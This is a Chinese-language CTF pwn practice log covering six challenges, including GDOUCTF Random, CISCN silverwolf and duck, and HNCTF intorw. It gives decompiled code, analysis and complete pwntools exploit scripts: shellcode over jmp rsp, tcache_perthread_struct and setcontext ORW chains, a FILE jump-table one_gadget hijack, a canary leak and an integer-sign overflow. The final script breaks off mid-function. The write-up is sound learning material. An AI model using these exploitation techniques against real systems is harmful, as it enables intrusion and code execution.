刷题记录3 [GDOUCTF 2023]Random
显然ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; int v5; int v6; int v7; int i; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); v7 = 100 ; sandbox(); v3 = time(0LL ); srand(v3); for ( i = 0 ; i < v7; ++i ) { v6 = rand() % 50 ; puts ("please input a guess num:" ); if ( (unsigned int )__isoc99_scanf("%d" , &v5) == -1 ) exit (0 ); if ( getchar() != 10 ) exit (1 ); if ( v6 == v5 ) { puts ("good guys" ); vulnerable(); } else { puts ("no,no,no" ); } } return 0 ; }
就是一个猜随机数,然后vul函数中
1 2 3 4 5 6 7 ssize_t vulnerable () { char buf[32 ]; puts ("your door" ); return read(0 , buf, 0x40 uLL); }
有个栈溢出
1 2 3 4 void haha () { __asm { jmp rsp } }
程序中又有个jmp rsp,同时栈上rwx,显然便是在栈上构造orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) path='./RANDOM' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" orwshell=b"\x48\x89\xc7\x48\x89\xe6\xba\x00\x01\x00\x00\x31\xc0\x0f\x05\xbf\x01\x00\x00\x00\x48\x89\xe6\x6a\x01\x58\x0f\x05" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=0 def run (): if local: return process(path) return remote('node5.anna.nssctf.cn' ,23245 ) def debug (duan=0 ): if local: if duan: gdb.attach(p,duan) pause() return gdb.attach(p) pause() shellcode = asm(shellcraft.cat('flag' )) shellcode = shellcode.ljust(0x28 ,b'\x00' ) sub_rsp_call_rsp=b"\x48\x83\xec\x30\xff\xd4" jmp_rsp=0x040094E pal= shellcode +p64(jmp_rsp)+sub_rsp_call_rsp while (1 ): p=run() sla(b'please input a guess num:\n' ,b'1' ) sleep(0.001 ) data=r(6 ) if b'good' in data: sla(b'your door' ,pal) irt() else : p.close()
我是直接爆破打的,用shellcraft打通了
但是我看网上师傅的用了一个新奇的手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from PwnModules import *import ctypescontext(arch='amd64' , os='linux' , log_level='debug' ) binary = './RANDOM' io = process(binary) elf = ELF(binary) libc = ctypes.CDLL('libc.so.6' ) seed = libc.time(0 ) libc.srand(seed) rand_result = libc.rand() % 50 print (rand_result)io.sendline(str (rand_result))
使用libc.so.6来获得随机数然后直接输出,很好的手法,让我的大脑无限旋转,学到了
[CISCN 2021 初赛]silverwolf
满保护,坐起来打
又是orw,累了
还因为orw设置规则把堆弄得乱七八糟,真糟心:face_with_thermometer:
2.27打setcontext劫持流 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> x/100i 0x7ffff7a34050 0x7ffff7a34050 <setcontext>: push rdi 0x7ffff7a34051 <setcontext+1>: lea rsi,[rdi+0x128] 0x7ffff7a34058 <setcontext+8>: xor edx,edx 0x7ffff7a3405a <setcontext+10>: mov edi,0x2 0x7ffff7a3405f <setcontext+15>: mov r10d,0x8 0x7ffff7a34065 <setcontext+21>: mov eax,0xe 0x7ffff7a3406a <setcontext+26>: syscall 0x7ffff7a3406c <setcontext+28>: pop rdi 0x7ffff7a3406d <setcontext+29>: cmp rax,0xfffffffffffff001 0x7ffff7a34073 <setcontext+35>: jae 0x7ffff7a340d0 <setcontext+128> 0x7ffff7a34075 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0] 0x7ffff7a3407c <setcontext+44>: fldenv [rcx] 0x7ffff7a3407e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0] 0x7ffff7a34085 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x7ffff7a3408c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] 0x7ffff7a34093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] 0x7ffff7a34097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] 0x7ffff7a3409b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] 0x7ffff7a3409f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] 0x7ffff7a340a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] 0x7ffff7a340a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] 0x7ffff7a340ae <setcontext+94>: push rcx 0x7ffff7a340af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 0x7ffff7a340b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 0x7ffff7a340ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 0x7ffff7a340c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 0x7ffff7a340c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 0x7ffff7a340c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] 0x7ffff7a340cd <setcontext+125>: xor eax,eax 0x7ffff7a340cf <setcontext+127>: ret
通过gdb来看setcontext,会发现从+53开始可以控制几乎所有的寄存器,除了rax会变成0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0x7ffff7a34085 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] //或许可以栈迁移 0x7ffff7a3408c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] 0x7ffff7a34093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] 0x7ffff7a34097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] 0x7ffff7a3409b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] 0x7ffff7a3409f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] 0x7ffff7a340a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] 0x7ffff7a340a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] 0x7ffff7a340ae <setcontext+94>: push rcx 0x7ffff7a340af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 0x7ffff7a340b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 0x7ffff7a340ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 0x7ffff7a340c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 0x7ffff7a340c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 0x7ffff7a340c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] 0x7ffff7a340cd <setcontext+125>: xor eax,eax 0x7ffff7a340cf <setcontext+127>: ret
而rdi是第一个参数,因此我们可以将setcontext+53放入_malloc_hook
或者_free_hook
,malloc或free一个堆块,此时rdi便是堆块的内容指针,因此只要提前在堆块里布置对应的寄存器值,就可以控制基本所有寄存器的值,还可以push一个值
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { __int64 v3[5 ]; v3[1 ] = __readfsqword(0x28 u); init_0(); while ( 1 ) { puts ("1. allocate" ); puts ("2. edit" ); puts ("3. show" ); puts ("4. delete" ); puts ("5. exit" ); __printf_chk(1LL , "Your choice: " ); __isoc99_scanf("%ld" , v3); switch ( v3[0 ] ) { case 1LL : add(); break ; case 2LL : edit(); break ; case 3LL : show(); break ; case 4LL : delete(); break ; case 5LL : exit (0 ); default : puts ("Unknown" ); break ; } } }
常见的菜单堆题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unsigned __int64 add () { size_t v1; void *v2; size_t size; unsigned __int64 v4; v4 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); __isoc99_scanf("%ld" , &size); if ( !size ) { __printf_chk(1LL , "Size: " ); __isoc99_scanf("%ld" , &size); v1 = size; if ( size > 0x78 ) { __printf_chk(1LL , "Too large" ); } else { v2 = malloc (size); if ( v2 ) { global_size = v1; malloc_ptr_0 = v2; puts ("Done!" ); } else { puts ("allocate failed" ); } } } return __readfsqword(0x28 u) ^ v4; }
其中size<=0x78,同时只能同时在内存存在一个malloc内存地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 edit () { _BYTE *v0; char *v1; __int64 v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); __isoc99_scanf("%ld" , &v3); if ( !v3 ) { if ( malloc_ptr_0 ) { __printf_chk(1LL , "Content: " ); v0 = malloc_ptr_0; if ( global_size ) { v1 = (char *)malloc_ptr_0 + global_size; while ( 1 ) { read(0 , v0, 1uLL ); if ( *v0 == '\n' ) break ; if ( ++v0 == v1 ) return __readfsqword(0x28 u) ^ v4; } *v0 = 0 ; } } } return __readfsqword(0x28 u) ^ v4; }
这里应该是有一个off-by-one的,但是没有用上
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 show () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); __isoc99_scanf("%ld" , &v1); if ( !v1 && malloc_ptr_0 ) __printf_chk(1LL , "Content: %s\n" , (const char *)malloc_ptr_0); return __readfsqword(0x28 u) ^ v2; }
能泄露
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 delete () { __int64 v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); __isoc99_scanf("%ld" , &v1); if ( !v1 && malloc_ptr_0 ) free (malloc_ptr_0); return __readfsqword(0x28 u) ^ v2; }
显然uaf
首先分为三步
一:泄露heap基址 因为本题有一个沙箱,而该沙箱是通过大量的堆来实现的,因此内存中本身就存在大量的heap
因此只要申请并释放一个0x78就可以泄露heap基址
二:泄露libc基址 这题泄露libc基址十分巧妙,它首先是通过将下一个heap申请到tcache_perthread_struct结构体上,因为该结构体是0x250大小的,而tcache也包含了这个大小,因此劫持这个结构体,将该0x250大小的heap的数量拉满,这样再次释放就将本heap释放到unsortedbin里,再show一下就有libc基址了
三:劫持setcontext 首先我们要先了解tcache_perthread_struct结构体,它上面先是大小,再是每个tcachebin的基址,如果大小是0,那么结构体上的每个tcache的地址就是下一次申请heap的地址(同时也是写的地址)
因此我们构造两个
1 2 3 4 orw1=heap_base+0x3000 orw2=heap_base+0x3060 stack1=heap_base+0x2000 stack2=heap_base+0x20A0
可以将orw上填充满orwshell的rop链,然后用stack1上的tcache来作为free的参数,stack2上便是orw的地址(要再加上一个ret,因为setcontext搞完mov之后便是ret)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 from pwn import *context.log_level='debug' libc=ELF('./libc-2.27.so' ) path='./silverwolf' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=1 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28486 ) def debug (duan=0 ): if local: if duan: gdb.attach(p,duan) pause() return gdb.attach(p) pause() p=run() def add (size=int ): sla(b'Your choice: ' ,b'1' ) sla(b'Index: ' ,b'0' ) sla(b'Size: ' ,tbs(size)) def edit (content=bytearray ): sla(b'Your choice: ' ,b'2' ) sla(b'Index: ' ,b'0' ) sla(b'Content: ' ,content) def show (): sla(b'Your choice: ' ,b'3' ) sla(b'Index: ' ,b'0' ) def delete (): sla(b'Your choice: ' ,b'4' ) sla(b'Index: ' ,b'0' ) add(0x78 ) delete() show() ru(b'Content: ' ) heap_base=u64(r(6 ).ljust(8 ,b'\x00' ))-0x11b0 leak("heap_base" ,heap_base) debug() edit(p64(heap_base+0x10 )) add(0x78 ) add(0x78 ) edit(p64(0 ) * 4 + p64(0x0000000007000000 )) delete() show() debug() ru(b'Content: ' ) libc_base=u64(r(6 ).ljust(8 ,b'\x00' ))-0x3EBCA0 leak('libc_base' ,libc_base) debug() edit(p64(0 ) * 4 + p64(0x0000000000000000 )) free_hook = libc_base + libc.sym['__free_hook' ] pop_rdi = libc_base + 0x215BF pop_rax = libc_base + 0x43AE8 pop_rsi = libc_base + 0x23EEA pop_rdx = libc_base + 0x1B96 read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] setcontext = libc_base + libc.sym['setcontext' ] + 53 syscall = libc_base + 0xE5965 flag_addr = heap_base + 0x1000 ret = libc_base + 0x8AA orw1=heap_base+0x3000 orw2=heap_base+0x3060 stack1=heap_base+0x2000 stack2=heap_base+0x20A0 payload=b'\x00' *0x40 +p64(free_hook) payload+=p64(0 ) payload+=p64(flag_addr) payload+=p64(stack1) payload+=p64(stack2) payload+=p64(orw1) payload+=p64(orw2) edit(payload) debug() orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rax)+p64(2 )+p64(pop_rsi)+p64(0 )+p64(syscall) orw+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(orw1)+p64(pop_rdx)+p64(0x30 )+p64(read) orw+=p64(pop_rdi)+p64(1 )+p64(write) add(0x18 ) edit(p64(setcontext)) add(0x38 ) edit(b'./flag' ) add(0x68 ) edit(orw[:0x60 ]) add(0x78 ) edit(orw[0x60 :]) add(0x58 ) edit(p64(orw1)+p64(ret)) debug() add(0x48 ) delete() irt()
这道题非常的妙,考察了tcache_perthread_struct结构体的利用和setcontext劫持利用(算是一个堆来控制栈的有效手段)
[SUCTF 2018 招新赛]unlink
libc-2.23.so
[CISCN 2022 华东北]duck
1 strings libc.so.6 | grep 'GLIBC'
估摸是2.34
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __fastcall __noreturn main (const char *a1, char **a2, char **a3) { int v3; ini(); while ( 1 ) { while ( 1 ) { menu(a1, a2); v3 = read_1(); if ( v3 != 4 ) break ; edit(); } if ( v3 > 4 ) { LABEL_13: a1 = "Invalid choice" ; puts ("Invalid choice" ); } else if ( v3 == 3 ) { show(); } else { if ( v3 > 3 ) goto LABEL_13; if ( v3 == 1 ) { add(); } else { if ( v3 != 2 ) goto LABEL_13; delete(); } } } }
发现是一个菜单堆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int add () { int i; void *v2; v2 = malloc (0x100 uLL); for ( i = 0 ; i <= 19 ; ++i ) { if ( !qword_4060[i] ) { qword_4060[i] = v2; puts ("Done" ); return 1 ; } } return puts ("Empty!" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int delete () { int v1; puts ("Idx: " ); v1 = read_1(); if ( v1 <= 20 && qword_4060[v1] ) { free ((void *)qword_4060[v1]); return puts ("Done" ); } else { puts ("Not allow" ); return v1; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int show () { int v1; puts ("Idx: " ); v1 = read_1(); if ( v1 <= 20 && qword_4060[v1] ) { puts ((const char *)qword_4060[v1]); return puts ("Done" ); } else { puts ("Not allow" ); return v1; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int sub_147A () { int v1; unsigned int v2; puts ("Idx: " ); v1 = read_1(); if ( v1 <= 20 && qword_4060[v1] ) { puts ("Size: " ); v2 = read_1(); if ( v2 > 0x100 ) { return puts ("Error" ); } else { puts ("Content: " ); similar_read(qword_4060[v1], v2); puts ("Done" ); return 0 ; } } else { puts ("Not allow" ); return v1; } }
思路 发现只有一个uaf,因此要打劫持io流(不然没有程序ret点
也可以通过environ来打rop
这里通过劫持_IO_file_jumps
的_IO_new_file_overflow
来打的
因为puts函数的时候会调用这个函数,因此直接坐等flag
对puts的栈回溯是这样的
在此之前要先泄露libc基址和heap基址(来加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) libc=ELF('./libc.so.6' ) path='./pwn' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=1 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28001 ) def debug (duan=0 ): if local: if duan: gdb.attach(p,duan) pause() return gdb.attach(p) pause() p=run() def add (): sla(b'Choice: ' ,b'1' ) def delete (idx=int ): sla(b'Choice: ' ,b'2' ) sla(b'Idx: \n' ,tbs(idx)) def show (idx=int ): sla(b'Choice: ' ,b'3' ) sla(b'Idx: \n' ,tbs(idx)) def edit (idx=int ,content=bytearray ): sla(b'Choice: ' ,b'4' ) print (1 ) sla(b'Idx: \n' ,tbs(idx)) print (2 ) sla(b'Size: \n' ,tbs(len (content))) print (3 ) sla(b'Content: \n' ,content) for i in range (8 ): add() add() for i in range (8 ): delete(i) info(f'{i} is delete' ) show(7 ) libc_base=u64(r(6 ).ljust(8 ,b'\x00' ))-0x1F2CC0 leak('libc_base' ,libc_base) io_file_jump_addr=libc_base+0x1F4570 -0x10 leak('io_file_finish_addr' ,io_file_jump_addr) show(0 ) heap_base=u64(r(5 ).ljust(8 ,b'\x00' )) << 12 leak('heap_base' ,heap_base) ''' 0xda861 execve("/bin/sh", r13, r12) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xda864 execve("/bin/sh", r13, rdx) constraints: [r13] == NULL || r13 == NULL || r13 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xda867 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp ''' onegadget=libc_base+0xda864 for i in range (5 ): add() pal=p64((heap_base>>12 ) ^ io_file_jump_addr) + p64(0 ) sla(b'Choice: ' ,b'4' ) sla(b'Idx: \n' ,b'1' ) sla(b'Size: \n' ,b'16' ) sla(b'Content: \n' ,pal) add() add() debug() pal=p64(0 )*2 +p64(onegadget) sla(b'Choice: ' ,b'4' ) sla(b'Idx: \n' ,b'15' ) sla(b'Size: \n' ,b'32' ) sla(b'Content: \n' ,pal) debug() irt()
[HDCTF 2023]Makewish 确保命名的py文件不要为pwn.py,不然会报错
rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。 如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。
比如:通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。 如果srand(1),因为1是常数,不会变,所以每次调用rand函数生成的伪随机序列都是一样的。
挺有趣的一道题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; char buf[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); init(argc, argv, envp); v5 = rand() % 1000 + 324 ; puts ("tell me you name\n" ); read(0 , buf, 0x30 uLL); puts ("hello," ); puts (buf); puts ("tell me key\n" ); read(0 , &v4, 4uLL ); if ( v5 == v4 ) return vuln(); puts ("failed" ); return 0 ; }
首先是个随机数,可惜这个随机数是固定的(一开始还忘记了 然后想了很久)
主要就是通过读入buf来覆盖canary低位的\x00
然后puts时就会泄露canary,虽然乍一看canary的不会有任何的影响,因为他的return没有体现检查canary的程序,而vuln中,也是我们的主要的操作函数,里面调用了如下的函数,导致了canary也是必要的
因此要看检查canary最好的办法还是看汇编
1 2 3 4 5 6 7 8 9 10 11 __int64 vuln () { char buf[88 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("welcome to HDctf,You can make a wish to me" ); buf[(int )read(0 , buf, 0x60 uLL)] = 0 ; puts ("sorry,i can't do that" ); return 0LL ; }
之后有个buf[?]=0,通过数组越界,修改rbp然后就能把栈往上迁移,然后再填充满ret和backdoor就大功告成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) path='./pwn' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=0 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28988 ) def debug (duan=None ): if local: if duan: gdb.attach(p, execute=duan) else : gdb.attach(p) pause() p=run() ret =0x400902 key=p32(0x2c3 ) backdoor=0x04007C7 pal=b'a' *0x20 +b'b' *0x8 sla(b'tell me you name\n\n' ,pal) ru(b'bbbbbbbb\n' ) canary=u64(b'\x00' +r(7 )) leak("canary" ,canary) sa(b'tell me key\n\n' ,key) debug() payload = p64(ret) * 10 payload += flat([backdoor,canary]) sa("to me\n" ,payload) irt()
[HNCTF 2022 WEEK2]intorw 1 int setvbuf (FILE *stream, char *buffer, int mode, size_t size) ;
FILE *stream
:指向要设置缓冲区的文件流。
char *buffer
:指向用作缓冲区的内存。如果为 NULL
,则由库自动分配缓冲区。
int mode
:缓冲模式,可以是以下三个值之一:
_IOFBF
:全缓冲(Full Buffering)。只有当缓冲区满或调用 fflush
、fclose
、fseek
、fsetpos
等函数时,才会实际执行 I/O 操作。
_IOLBF
:行缓冲(Line Buffering)。当输出一个换行符、缓冲区满或调用 fflush
、fclose
、fseek
、fsetpos
等函数时,才会实际执行 I/O 操作。
_IONBF
:无缓冲(No Buffering)。每次 I/O 操作都会直接执行,不会使用缓冲区。
size_t size
:缓冲区的大小。如果 buffer
为 NULL
,则忽略此参数。
成功时返回 0
。
失败时返回非零值。
1 2 3 #define _IOFBF 0 #define _IOLBF 1 #define _IONBF 2
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 vuln () { char buf[24 ]; signed int v2; int v3; puts ("Please enter how many bits you want to read" ); __isoc99_scanf("%d" , &v2); if ( v2 <= 99 ) { v3 = bitschange(v2); puts ("Please enter what you want to read:" ); read(0 , buf, v3); } else { printf ("You're reading in too many bits!" ); } return 0LL ; }
1 2 3 4 __int64 __fastcall bitschange (unsigned int a1) { return a1 >> 3 ; }
发现参数是无符号型,显然负数溢出
有沙盒因此orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) libc=ELF('./libc.so.6' ) path='./intorw' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :info(f'{name} ====>{hex (addr)} ' ) local=1 def run (): if local: return process(path) return remote('node5.anna.nssctf.cn' ,20031 ) def debug (duan=None ): if local: if duan: gdb.attach(p, execute=duan) else : gdb.attach(p) pause() p=run() flag=0x601046 vuln=0x04009C4 pop_rdi_ret=0x0000000000400ad3 pal=0x28 *b'a' +p64(pop_rdi_ret)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(vuln) sla(b'Please enter how many bits you want to read\n' ,b'-1' ) sla(b'read:\n' ,pal) libc_base=u64(rl()[:-1 ].ljust(8 , b'\x00' ))-libc.sym['puts' ] libc.address=libc_base leak("libc_base" ,libc_base) pop_rdx_rbx_ret=libc_base+0x0000000000090529 pop_rsi_ret=libc_base+0x000000000002be51 pop_rax_ret=libc_base+0x0000000000045eb0 open =libc.sym['open' ]write=libc.sym['write' ] read=libc.sym['read' ] pal=0x28 *b'a' + p64(pop_rdi_ret) +p64(flag) +p64(pop_rsi_ret) +p64(0 )+p64(open ) pal+=p64(pop_rdi_ret)+p64(0x3 )+p64(pop_rsi_ret)+p64(elf.bss())+p64(pop_rdx_rbx_ret)+p64(0x50 )*2 +p64(read) pal+=p64(pop_rdi_ret)+p64(0x1 )+p64(pop_rsi_ret)+p64(elf.bss())+p64(pop_rdx_rbx_ret)+p64(0x50 )*2 +p64(write) sla(b'Please enter how many bits you want to read\n' ,b'-1' ) sla(b'read:\n' ,pal) irt()
两种写法,首先第一种便是常规orw,因为我找不到syscall,ret的rop,但是我看其他人找到了,因为有libc直接函数即可
第二种我是第一次见这种用法,非常简便,学到了,要求libc.address为libc_base不然会报错
[CISCN 2022 华东北]blue 这题着实是让我受益很多(也恶心到了我
ORW
漏洞点 首先题目是都是tcache块,最大只能申请0x90(0xa0)的堆块,有一次的uaf,一次的show,和add,delete的功能
利用思路 首先是通过申请9个0x80的堆块,然后填满tcache,之后给一个uaf就能到unsortedbin里,然后show就泄露了libc基址,之后要打ORW的一个思路便是申请到栈上,而这就少不了泄露栈地址和一个任意地址写,所以首先回到上面,add了9个堆块,再申请一个隔离块,之后uaf掉第九个堆块,delete掉第八个堆块,就能将unsortedbin和tcachebin实现overlapping,然后再申请一个0x70的堆块,再申请一个0x80的堆块,同时将这个0x80放到tcache中,就能将uaf的第8个堆块和这个0x80堆块overlapping,之后便是通过stdout来泄露environ,然后打到add上ret打orw
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) libc=ELF('./libc.so.6' ) path='./pwn' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda s,n :print ("\033[31m[" +s+" -> " +str (hex (n))+"]\033[0m" ) local=0 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28282 ) def debug (duan=None ): if local: if duan: gdb.attach(p, execute=duan) else : 